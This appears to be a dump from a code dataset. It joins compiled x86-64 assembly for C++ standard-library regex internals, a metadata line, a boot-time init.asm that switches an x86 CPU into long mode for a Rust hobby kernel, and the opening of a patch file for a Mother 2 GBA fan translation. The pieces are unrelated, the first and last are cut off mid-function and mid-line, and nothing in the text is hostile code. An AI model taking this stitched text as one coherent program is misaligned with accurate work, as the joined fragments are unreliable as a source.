[rbp-56], rdx mov rax, QWORD PTR [rbp-56] mov rdi, rax call _ZSt12__niter_baseIPNSt7__cxx119sub_matchIPKcEESt6vectorIS4_SaIS4_EEET_N9__gnu_cxx17__normal_iteratorIS9_T0_EE mov r12, rax mov rax, QWORD PTR [rbp-48] mov rdi, rax call _ZSt12__niter_baseIPKNSt7__cxx119sub_matchIPKcEESt6vectorIS4_SaIS4_EEET_N9__gnu_cxx17__normal_iteratorISA_T0_EE mov rbx, rax mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZSt12__niter_baseIPKNSt7__cxx119sub_matchIPKcEESt6vectorIS4_SaIS4_EEET_N9__gnu_cxx17__normal_iteratorISA_T0_EE mov rdx, r12 mov rsi, rbx mov rdi, rax call _ZSt13__copy_move_aILb0EPKNSt7__cxx119sub_matchIPKcEEPS4_ET1_T0_S9_S8_ mov QWORD PTR [rbp-24], rax lea rdx, [rbp-24] lea rax, [rbp-32] mov rsi, rdx mov rdi, rax call _ZN9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS5_SaIS5_EEEC1ERKS6_ mov rax, QWORD PTR [rbp-32] add rsp, 48 pop rbx pop r12 pop rbp ret _ZSt8_DestroyIN9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS6_SaIS6_EEEEEvT_SC_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rdx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rdx mov rdi, rax call _ZNSt12_Destroy_auxILb1EE9__destroyIN9__gnu_cxx17__normal_iteratorIPNSt7__cxx119sub_matchIPKcEESt6vectorIS8_SaIS8_EEEEEEvT_SE_ nop leave ret _ZSt12__miter_baseIPNSt7__cxx119sub_matchIPKcEEET_S6_: push rbp mov rbp, rsp mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] pop rbp ret _ZSt14__copy_move_a2ILb0EPNSt7__cxx119sub_matchIPKcEES5_ET1_T0_S7_S6_: push rbp mov rbp, rsp push r12 push rbx sub rsp, 32 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov rax, QWORD PTR [rbp-40] mov rdi, rax call _ZSt12__niter_baseIPNSt7__cxx119sub_matchIPKcEEET_S6_ mov r12, rax mov rax, QWORD PTR [rbp-32] mov rdi, rax call _ZSt12__niter_baseIPNSt7__cxx119sub_matchIPKcEEET_S6_ mov rbx, rax mov rax, QWORD PTR [rbp-24] mov rdi, rax call _ZSt12__niter_baseIPNSt7__cxx119sub_matchIPKcEEET_S6_ mov rdx, r12 mov rsi, rbx mov rdi, rax call _ZSt13__copy_move_aILb0EPNSt7__cxx119sub_matchIPKcEES5_ET1_T0_S7_S6_ add rsp, 32 pop rbx pop r12 pop rbp ret _ZSt18uninitialized_copyIPNSt7__cxx119sub_matchIPKcEES5_ET0_T_S7_S6_: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-24], rdi mov QWORD PTR [rbp-32], rsi mov QWORD PTR [rbp-40], rdx mov BYTE PTR [rbp-1], 1 mov rdx, QWORD PTR [rbp-40] mov rcx, QWORD PTR [rbp-32] mov rax, QWORD PTR [rbp-24] mov rsi, rcx mov rdi, rax call _ZNSt20__uninitialized_copyILb0EE13__uninit_copyIPNSt7__cxx119sub_matchIPKcEES7_EET0_T_S9_S8_ leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE16_M_rep_once_moreENS9_11_Match_modeEl: push rbp mov rbp, rsp sub rsp, 64 mov QWORD PTR [rbp-40], rdi mov eax, esi mov QWORD PTR [rbp-56], rdx mov BYTE PTR [rbp-44], al mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+56] lea rdx, [rax+56] mov rax, QWORD PTR [rbp-56] mov rsi, rax mov rdi, rdx call _ZNKSt6vectorINSt8__detail6_StateIcEESaIS2_EEixEm mov QWORD PTR [rbp-8], rax mov rax, QWORD PTR [rbp-40] lea rdx, [rax+72] mov rax, QWORD PTR [rbp-56] mov rsi, rax mov rdi, rdx call _ZNSt6vectorISt4pairIPKciESaIS3_EEixEm mov QWORD PTR [rbp-16], rax mov rax, QWORD PTR [rbp-16] mov eax, DWORD PTR [rax+8] test eax, eax je .L1833 mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+24] cmp rdx, rax je .L1834 .L1833: mov rax, QWORD PTR [rbp-16] mov rdx, QWORD PTR [rax+8] mov rax, QWORD PTR [rax] mov QWORD PTR [rbp-32], rax mov QWORD PTR [rbp-24], rdx mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-16] mov QWORD PTR [rax], rdx mov rax, QWORD PTR [rbp-16] mov DWORD PTR [rax+8], 1 mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] movzx ecx, BYTE PTR [rbp-44] mov rax, QWORD PTR [rbp-40] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl lea rdx, [rbp-32] mov rax, QWORD PTR [rbp-16] mov rsi, rdx mov rdi, rax call _ZNSt4pairIPKciEaSERKS2_ nop jmp .L1836 .L1834: mov rax, QWORD PTR [rbp-16] mov eax, DWORD PTR [rax+8] cmp eax, 1 jg .L1836 mov rax, QWORD PTR [rbp-16] mov eax, DWORD PTR [rax+8] lea edx, [rax+1] mov rax, QWORD PTR [rbp-16] mov DWORD PTR [rax+8], edx mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+16] movzx ecx, BYTE PTR [rbp-44] mov rax, QWORD PTR [rbp-40] mov esi, ecx mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE6_M_dfsENS9_11_Match_modeEl mov rax, QWORD PTR [rbp-16] mov eax, DWORD PTR [rax+8] lea edx, [rax-1] mov rax, QWORD PTR [rbp-16] mov DWORD PTR [rax+8], edx .L1836: nop leave ret _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE11_M_at_beginEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+32] cmp rdx, rax jne .L1838 mov esi, 128 mov edi, 1 call _ZNSt15regex_constantsorENS_15match_flag_typeES0_ mov edx, eax mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+112] mov esi, edx mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ test eax, eax jne .L1838 mov eax, 1 jmp .L1839 .L1838: mov eax, 0 .L1839: leave ret _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE9_M_at_endEv: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-8] mov rax, QWORD PTR [rax+40] cmp rdx, rax jne .L1842 mov rax, QWORD PTR [rbp-8] mov eax, DWORD PTR [rax+112] mov esi, 2 mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ test eax, eax jne .L1842 mov eax, 1 jmp .L1843 .L1842: mov eax, 0 .L1843: leave ret _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE16_M_word_boundaryEv: push rbp mov rbp, rsp sub rsp, 48 mov QWORD PTR [rbp-40], rdi mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+32] cmp rdx, rax jne .L1846 mov rax, QWORD PTR [rbp-40] mov eax, DWORD PTR [rax+112] mov esi, 4 mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ test eax, eax je .L1846 mov eax, 1 jmp .L1847 .L1846: mov eax, 0 .L1847: test al, al je .L1848 mov eax, 0 jmp .L1849 .L1848: mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+40] cmp rdx, rax jne .L1850 mov rax, QWORD PTR [rbp-40] mov eax, DWORD PTR [rax+112] mov esi, 8 mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ test eax, eax je .L1850 mov eax, 1 jmp .L1851 .L1850: mov eax, 0 .L1851: test al, al je .L1852 mov eax, 0 jmp .L1849 .L1852: mov BYTE PTR [rbp-1], 0 mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+32] cmp rdx, rax jne .L1853 mov rax, QWORD PTR [rbp-40] mov eax, DWORD PTR [rax+112] mov esi, 128 mov edi, eax call _ZNSt15regex_constantsanENS_15match_flag_typeES0_ test eax, eax je .L1854 .L1853: mov eax, 1 jmp .L1855 .L1854: mov eax, 0 .L1855: test al, al je .L1856 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+24] mov QWORD PTR [rbp-16], rax mov rax, QWORD PTR [rbp-16] mov esi, 1 mov rdi, rax call _ZSt4prevIPKcET_S2_NSt15iterator_traitsIS2_E15difference_typeE movzx eax, BYTE PTR [rax] movsx edx, al mov rax, QWORD PTR [rbp-40] mov esi, edx mov rdi, rax call _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE10_M_is_wordEc test al, al je .L1856 mov BYTE PTR [rbp-1], 1 .L1856: mov rax, QWORD PTR [rbp-40] mov rdx, QWORD PTR [rax+24] mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+40] cmp rdx, rax je .L1858 mov rax, QWORD PTR [rbp-40] mov rax, QWORD PTR [rax+24] movzx eax, BYTE PTR [rax] movsx edx, al mov rax, QWORD PTR [rbp-40] mov esi, edx mov rdi, rax call _ZNKSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE10_M_is_wordEc test al, al je .L1858 mov eax, 1 jmp .L1859 .L1858: mov eax, 0 .L1859: mov BYTE PTR [rbp-17], al movzx eax, BYTE PTR [rbp-1] cmp al, BYTE PTR [rbp-17] setne al .L1849: leave ret _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE12_M_lookaheadEl: push rbp mov rbp, rsp push rbx sub rsp, 184 mov QWORD PTR [rbp-184], rdi mov QWORD PTR [rbp-192], rsi mov rdx, QWORD PTR [rbp-184] lea rax, [rbp-48] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEC1ERKS6_ mov rax, QWORD PTR [rbp-184] mov r8d, DWORD PTR [rax+112] mov rax, QWORD PTR [rbp-184] mov rdi, QWORD PTR [rax+48] mov rax, QWORD PTR [rbp-184] mov rdx, QWORD PTR [rax+40] mov rax, QWORD PTR [rbp-184] mov rsi, QWORD PTR [rax+24] lea rcx, [rbp-48] lea rax, [rbp-176] mov r9d, r8d mov r8, rdi mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EEC1ES2_S2_RSt6vectorIS5_S6_ERKNS3_11basic_regexIcS8_EENSt15regex_constants15match_flag_typeE mov rax, QWORD PTR [rbp-192] mov QWORD PTR [rbp-80], rax lea rax, [rbp-176] mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EE20_M_search_from_firstEv test al, al je .L1861 mov QWORD PTR [rbp-24], 0 .L1864: lea rax, [rbp-48] mov rdi, rax call _ZNKSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EE4sizeEv cmp QWORD PTR [rbp-24], rax setb al test al, al je .L1862 mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-48] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEixEm movzx eax, BYTE PTR [rax+16] test al, al je .L1863 mov rdx, QWORD PTR [rbp-24] lea rax, [rbp-48] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEixEm mov rbx, rax mov rax, QWORD PTR [rbp-184] mov rdx, QWORD PTR [rbp-24] mov rsi, rdx mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EEixEm mov rsi, rbx mov rdi, rax call _ZNSt7__cxx119sub_matchIPKcEaSERKS3_ .L1863: add QWORD PTR [rbp-24], 1 jmp .L1864 .L1862: mov ebx, 1 jmp .L1865 .L1861: mov ebx, 0 .L1865: lea rax, [rbp-176] mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EED1Ev lea rax, [rbp-48] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EED1Ev mov eax, ebx jmp .L1871 mov rbx, rax lea rax, [rbp-176] mov rdi, rax call _ZNSt8__detail9_ExecutorIPKcSaINSt7__cxx119sub_matchIS2_EEENS3_12regex_traitsIcEELb1EED1Ev jmp .L1868 mov rbx, rax .L1868: lea rax, [rbp-48] mov rdi, rax call _ZNSt6vectorINSt7__cxx119sub_matchIPKcEESaIS4_EED1Ev mov rax, rbx mov rdi, rax call _Unwind_Resume .L1871: add rsp, 184 pop rbx pop rbp ret _ZNSaISt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS5_ELN9__gnu_cxx12_Lock_policyE2EEEC2IS5_EERKSaIT_E: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZN9__gnu_cxx13new_allocatorISt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS7_ELNS_12_Lock_policyE2EEEC2Ev nop leave ret _ZNSaISt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS5_ELN9__gnu_cxx12_Lock_policyE2EEED2Ev: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov rax, QWORD PTR [rbp-8] mov rdi, rax call _ZN9__gnu_cxx13new_allocatorISt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS7_ELNS_12_Lock_policyE2EEED2Ev nop leave ret _ZSt18__allocate_guardedISaISt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS6_ELN9__gnu_cxx12_Lock_policyE2EEEESt15__allocated_ptrIT_ERSD_: push rbp mov rbp, rsp sub rsp, 16 mov QWORD PTR [rbp-8], rdi mov QWORD PTR [rbp-16], rsi mov rax, QWORD PTR [rbp-16] mov esi, 1 mov rdi, rax call _ZNSt16allocator_traitsISaISt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS6_ELN9__gnu_cxx12_Lock_policyE2EEEE8allocateERSB_m mov rdx, rax mov rcx, QWORD PTR [rbp-16] mov rax, QWORD PTR [rbp-8] mov rsi, rcx mov rdi, rax call _ZNSt15__allocated_ptrISaISt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS6_ELN9__gnu_cxx12_Lock_policyE2EEEEC1ERSB_PSA_ mov rax, QWORD PTR [rbp-8] leave ret _ZNSt15__allocated_ptrISaISt23_Sp_counted_ptr_inplaceINSt8__detail4_NFAINSt7__cxx1112regex_traitsIcEEEESaIS6_ELN9__gnu_cxx12_Lock_policyE2EEEED2Ev:
26.654417
237
0.743716
f89897ac5b31432b11b46e5f49a6ff3d464bc779
3,146
asm
Assembly
src/boot/init.asm
PG-MANA/RustHello
dc5f9d69e4237c4c573f931d4f76ef2167e8b91a
[ "Apache-2.0" ]
null
null
null
src/boot/init.asm
PG-MANA/RustHello
dc5f9d69e4237c4c573f931d4f76ef2167e8b91a
[ "Apache-2.0" ]
null
null
null
src/boot/init.asm
PG-MANA/RustHello
dc5f9d69e4237c4c573f931d4f76ef2167e8b91a
[ "Apache-2.0" ]
null
null
null
;Name: src/boot/init.asm bits 32 global init extern boot_main MULTIBOOT_CHECK_MAGIC equ 0x36d76289 ; 正常に処理されたのであれば、EAXに代入されている値 init: cli ; 割り込みを禁止 ; マジック確認 cmp eax, MULTIBOOT_CHECK_MAGIC jne error mov esp, stack ; スタック設定 ; eflags初期化 push 0 popfd push 0 ; 64bit popのための準備 push ebx ; Multiboot Information アドレス保存 pushfd pop eax mov ecx, eax ; 比較用にとっておく xor eax, 1 << 21 ; IDフラグを反転 push eax popfd pushfd pop eax push ecx popfd ; 元に戻す xor eax, ecx ; 比較 jz error ; cpuid非対応 mov eax, 0x80000000 ; cpuid拡張モードは有効か(使用可能なeaxの最大値が返る) cpuid cmp eax, 0x80000001 jb error mov eax, 0x80000001 cpuid ; cpuid拡張モード非対応 test edx, 1 << 29 ; Long Mode Enable Bitをテスト(64bitモードが有効かどうか) jz error ; ページング設定 xor ecx, ecx ; カウンタリセット .pde_setup: ; 2MB単位メモリページング ; PML4->PDP->PDで完結 mov eax, 0x200000 ; ページ一つが管理する区域(2MB)(掛け算で 0MB~ => 4MB~=>8MB~と増える) mul ecx ; eax = eax * ecx or eax, 0b10000011 ; P(物理メモリ上) + r/w(read and write) + huge(PDEでHugeを立てると2MB単位) 0b:二進数 mov [pd + ecx * 8], eax ; 64bitごとの配置 inc ecx ; ecx++ cmp ecx, 2048 jne .pde_setup ; ecx != 512 * 4 xor ecx, ecx ; カウンタリセット .pdpte_setup: mov eax, 4096 mul ecx add eax, pd ; この3つで eax = 4096 * ecx + pdしてる or eax, 0b11 ; P(物理メモリ上) + r/w(read and write) mov [pdpt + ecx * 8], eax inc ecx cmp ecx, 4 jne .pdpte_setup ;pml4_setup: mov eax, pdpt or eax, 0b11 ; P(物理メモリ上) + r/w(read and write) mov [pml4], eax ; ページマップレベル4の最初に追加 ;setup_64: mov eax, pml4 mov cr3, eax ; PML4Eをcr3に設定する mov eax, cr4 or eax, 1 << 5 mov cr4, eax ; PAEフラグを立てる mov ecx, 0xc0000080 ; rdmsrのための準備(レジスタ指定) rdmsr ; モデル固有レジスタに記載(intelの場合pentium以降に搭載、cpuidで検査済) or eax, 1 << 8 ; LMEフラグを立てる wrmsr mov eax, cr0 or eax, 1 << 31 ; PGフラグを立てる(これは最後に立てる必要がある) mov cr0, eax ; これらの初期化で4GBは仮想メモリアドレスと実メモリアドレスが一致しているはず。(ストレートマッピング) lgdt [gdtr0] jmp main_code_segment_descriptor:init_long_mode ; far jmp error: hlt jmp error bits 64 init_long_mode: ; セグメントレジスタ初期化、間違ってもCSはいじるな(FS,GSはマルチスレッドで使用する可能性がある...らしい) xor rax, rax mov es, ax mov ss, ax mov ds, ax mov fs, ax mov gs, ax pop rdi ; RDI=>RSI=>...が引数リスト jmp boot_main ; Rustで用意する section .bss align 4096 pd: ; ページングディレクトリ(8byte * 512) * 4 resb 4096 * 4 pdpt: ; ページディレクトリポインタテーブル(8byte * 512) resb 4096 pml4: ; ページマップレベル4(8byte * 512) resb 4096 resb 1024 stack: section .data gdt: dq 0 ; Dummy Entry main_code_segment_descriptor: equ $ - gdt ; すべてコードセグメント dq (1 << 43) | (1 << 44) | (1 << 47) | (1 << 53) gdtr0: dw $ - gdt - 1 ; リミット数(すぐ上がGDTなので計算で求めてる) dq gdt
22.471429
95
0.554037
6ae5257a4de51821706e1f86f93f4ab2889837bc
70,477
asm
Assembly
src/m2-hack.asm
MusicTheorist/Mother2GbaTranslation
70de3975a3284c4002a33e8ef8c20e4c2b039037
[ "MIT" ]
1
2021-04-18T04:26:52.000Z
2021-04-18T04:26:52.000Z
src/m2-hack.asm
MusicTheorist/Mother2GbaTranslation
70de3975a3284c4002a33e8ef8c20e4c2b039037
[ "MIT" ]
null
null
null
src/m2-hack.asm
MusicTheorist/Mother2GbaTranslation
70de3975a3284c4002a33e8ef8c20e4c2b039037
[ "MIT" ]
null
null
null
.gba .open "../bin/m12.gba",0x8000000 //============================================================================== // Relocation hacks //============================================================================== // Move the weird box font from 0xFCE6C .org 0x80B3274 :: dw m2_font_relocate //============================================================================== // Font hacks //============================================================================== .org 0x8AFED84 :: .incbin "data/m2-mainfont1-empty.bin" .org 0x8B0F424 :: .incbin "data/m2-mainfont2-empty.bin" .org 0x8B13424 :: .incbin "data/m2-mainfont3-empty.bin" .org 0x8B088A4 :: .incbin "data/m2-shifted-cursor.bin" .org 0x8B03384 :: .incbin "data/m2-header-bg.bin" .org 0x8B03964 :: .incbin "data/m2-header-bg-sigle-tile.bin" .org 0x8B03D64 :: .incbin "data/m2-header-bg-sigle-tile.bin" .org 0x8B03DE4 :: .incbin "data/m2-status-symbols.bin" // Greek letters .org 0x8B1B907 :: db 0x8B // alpha .org 0x8B1B90A :: db 0x8C // beta .org 0x8B1B90D :: db 0x8D // gamma .org 0x8B1B910 :: db 0x8E // sigma .org 0x8B1B913 :: db 0x8F // omega //============================================================================== // VWF hacks //============================================================================== // 32- to 16-bit access change for window flags .org 0x80BE16A :: strh r2,[r4] .org 0x80BE1FA :: strh r2,[r6] .org 0x80BE222 :: strh r6,[r1] // PSI class window size .org 0x80B7820 mov r1,4 mov r2,1 mov r3,6 //--------------------------------------------------------- // 00270 hacks (intro screen) //--------------------------------------------------------- .org 0x800027A :: bl m12_intro_screen //--------------------------------------------------------- // C0A5C hacks (status window) //--------------------------------------------------------- .include "m2-status-initial.asm" .include "m2-status-switch.asm" //--------------------------------------------------------- // Main window hacks //--------------------------------------------------------- .org 0x80B7D9A :: bl b7d9a_main_window_manage_input .org 0x80B7DD2 :: bl printCashWindow //.org 0x80B8A36 :: bl initWindow_buffer //Money window //.org 0x80B8A3C :: bl print_window_with_buffer .org 0x80B8890 :: bl print_window_with_buffer :: bl b8894_printCashWindowAndStore //Main window + Cash Window out of Status menu .org 0x80B8664 :: bl print_window_with_buffer :: bl b8894_printCashWindowAndStore //Main window + Cash Window out of PSI menu .org 0x80B8740 :: bl print_window_with_buffer :: bl b8894_printCashWindowAndStore //Main window + Cash Window out of Equip menu .org 0x80B859C :: bl print_window_with_buffer :: bl b8894_printCashWindowAndStore //Main window + Cash Window out of Goods menu .org 0x80B831A :: bl initWindow_buffer .org 0x80B8320 :: bl b8320_statusWindowTextStore //--------------------------------------------------------- // Overworld main window/PSI class window input management hacks //--------------------------------------------------------- .org 0x80BEAA6 :: bl beaa6_fix_sounds .org 0x80BEA88 :: bl bea88_fix_sounds //--------------------------------------------------------- // Main battle window hacks //--------------------------------------------------------- .org 0x80DC22A :: bl dc22a_load_buffer_battle .org 0x80DC8C8 :: lsl r1,r0,#4 :: nop //Fixes wrong pointer .org 0x80DC8DE :: nop :: nop //Removes useless print //--------------------------------------------------------- // PSI battle window hacks //--------------------------------------------------------- .org 0x80E00C8 :: bl e02c6_print_target_store .org 0x80E02C6 :: bl e02c6_print_target_store .org 0x80E0762 :: bl initWindow_buffer .org 0x80E0776 :: bl print_window_with_buffer .org 0x80E07C2 :: bl clearWindowTiles_buffer .org 0x80E0892 :: bl initWindow_buffer .org 0x80E08A6 :: bl print_window_with_buffer .org 0x80E0990 :: bl initWindow_buffer .org 0x80E0A30 :: bl initWindow_buffer .org 0x80E0A54 :: bl print_window_with_buffer .org 0x80C24A2 :: bl printstr_hlight_buffer .org 0x80C24B4 :: bl printstr_hlight_buffer .org 0x80C24CC :: bl printstr_hlight_buffer .org 0x80C2500 :: bl printstr_hlight_buffer .org 0x80C2518 :: bl printstr_hlight_buffer .org 0x80E08D8 :: bl e06ec_redraw_bash_psi_goods_defend //--------------------------------------------------------- // BAC18 hacks (status window) //--------------------------------------------------------- .org 0x80BAC46 :: nop :: nop .org 0x80BAC6E :: bl bac6e_statusWindowNumbersInputManagement .org 0x80BAD7E :: bl printstr_buffer .org 0x80BAD88 :: bl initWindow_buffer .org 0x80BAD92 :: bl initWindow_buffer .org 0x80BACFC :: bl bac18_redraw_status_store .org 0x80BADE6 :: bl bac18_redraw_status .org 0x80BACEA :: bl bacea_status_psi_window .org 0x80BACBA :: bl print_window_with_buffer .org 0x80BACC4 :: bl initWindow_buffer .org 0x80BAD1A :: bl clearWindowTiles_buffer .org 0x80BADF6 :: bl initWindow_buffer .org 0x80BACEE :: bl bac18_clear_psi .org 0x80BADB0 :: bl badb0_status_inner_window .org 0x80BADCC :: b 0x80BADD8 //--------------------------------------------------------- // Normal PSI window hacks //--------------------------------------------------------- .org 0x80B8C34 :: bl initWindow_buffer .org 0x80B8C42 :: bl baec6_psi_window_print_buffer .org 0x80B8C7E :: bl initWindow_buffer .org 0x80B8C8C :: nop :: nop .org 0x80B8CA8 :: bl initWindow_buffer .org 0x80B8CAE :: bl print_window_with_buffer .org 0x80B8CEA :: bl baec6_psi_window_print_buffer .org 0x80B8D0C :: bl initWindow_buffer .org 0x80B8D16 :: bl initWindow_buffer .org 0x80B8D22 :: bl psiWindow_buffer .org 0x80B8E44 :: bl initWindow_buffer .org 0x80B8E62 :: bl baec6_psi_window_print_buffer .org 0x80B9222 :: bl initWindow_buffer .org 0x80B922E :: bl psiTargetWindow_buffer .org 0x80B916E :: bl initWindow_buffer .org 0x80B9174 :: bl print_window_with_buffer .org 0x80B9238 :: bl initWindow_buffer .org 0x80B9256 :: bl baec6_psi_window_print_buffer .org 0x80BA9FA :: bl initWindow_buffer .org 0x80BAA00 :: bl print_window_with_buffer .org 0x80BAB64 :: bl initWindow_buffer .org 0x80BABA6 :: bl printstr_hlight_buffer .org 0x80BA8AC :: bl ba8ac_load_targets_print .org 0x80B9100 :: bl initWindow_buffer .org 0x80B910C :: bl initWindow_buffer .org 0x80B9118 :: bl psiTargetWindow_buffer .org 0x80B9122 :: bl initWindow_buffer .org 0x80B9142 :: bl baec6_psi_window_print_buffer //--------------------------------------------------------- // Teleport window hacks //--------------------------------------------------------- .org 0x80B9030 :: bl initWindow_buffer//Opening teleport window - "Where?" .org 0x80B9036 :: bl print_window_with_buffer .org 0x80B9040 :: bl b9040_special_string .org 0x80B90D4 :: bl initWindow_buffer //Going back from teleport to the PSI window .org 0x80B90DE :: bl initWindow_buffer .org 0x80C5D1C :: bl initWindow_buffer //Initializes the actual teleport window .org 0x80C5EB0 :: bl printstr_hlight_buffer .org 0x80C5F46 :: bl printstr_hlight_buffer .org 0x80C5F80 :: bl c5f80_printstr_hlight_buffer_store_buffer // Multiple pages initial case .org 0x80C5EB0 :: bl printstr_hlight_buffer .org 0x80C6134 :: bl clearWindowTiles_buffer .org 0x80C61C8 :: lsl r0,r5,#3 :: add r0,r0,r5 :: nop //Proper string address .org 0x80C6224 :: bl printstr_hlight_buffer .org 0x80C625E :: bl c5f80_printstr_hlight_buffer_store_buffer // Multiple pages changing pages .org 0x80C5F04 :: bl c5f04_store_if_done //Only one page case //--------------------------------------------------------- // Class PSI window hacks //--------------------------------------------------------- .org 0x80BAE1C :: bl print_window_with_buffer .org 0x80BAEC6 :: bl baec6_psi_window_print_buffer .org 0x80BAED4 :: bl baec6_psi_window_print_buffer .org 0x80BAEE2 :: bl baec6_psi_window_print_buffer .org 0x80BAEF0 :: bl baec6_psi_window_print_buffer //--------------------------------------------------------- // Equip window generic hacks //--------------------------------------------------------- .org 0x80BB02C :: bl innerEquipInput .org 0x80B8066 :: bl printstr_hlight_buffer .org 0x80B8074 :: mov r3,#0x12 .org 0x80B80A2 :: mov r1,#3 :: mov r2,#0xB :: mov r3,#0xD .org 0x80B8092 :: bl initWindow_buffer //Initialize equipment window .org 0x80B8098 :: bl print_window_with_buffer .org 0x80B80BE :: bl initWindow_buffer .org 0x80B80C4 :: bl printEquipWindowNumberText .org 0x80B80EA :: mov r2,#0x37 :: mov r3,#3 :: bl printNumberEquip //Offense Number .org 0x80B8112 :: mov r2,#0x37 :: mov r3,#0x13 :: bl printNumberEquip //Defense Number .org 0x80B8138 :: bl initWindow_buffer .org 0x80B813E :: bl print_window_with_buffer .org 0x80B814A :: bl equipPrint .org 0x80B8152 :: bl innerEquipInput .org 0x80B81A2 :: bl initWindow_buffer .org 0x80B81A8 :: bl print_window_with_buffer .org 0x80B81BC :: bl equipPrint .org 0x80B81CC :: bl print_equip_base_numbers .org 0x80BAF96 :: bl initWindow_buffer //Go to inner window from outer window .org 0x80BAF9C :: bl baf9c_print_window_store_buffer .org 0x80BAFE6 :: mov r2,#0x37 :: mov r3,#3 :: bl printNumberEquip //Offense Number .org 0x80BB00C :: mov r2,#0x37 .org 0x80BB17C :: bl equippableReadInput .org 0x80BB198 :: bl printEquipNumbersArrow :: bl store_pixels_overworld :: b 0x80BB1AE //Offense Number .org 0x80BB1A6 :: mov r2,#0x4C :: mov r3,#0x13 :: bl bb1aa_printnumberequip_store //Defense Number .org 0x80BB05E :: bl 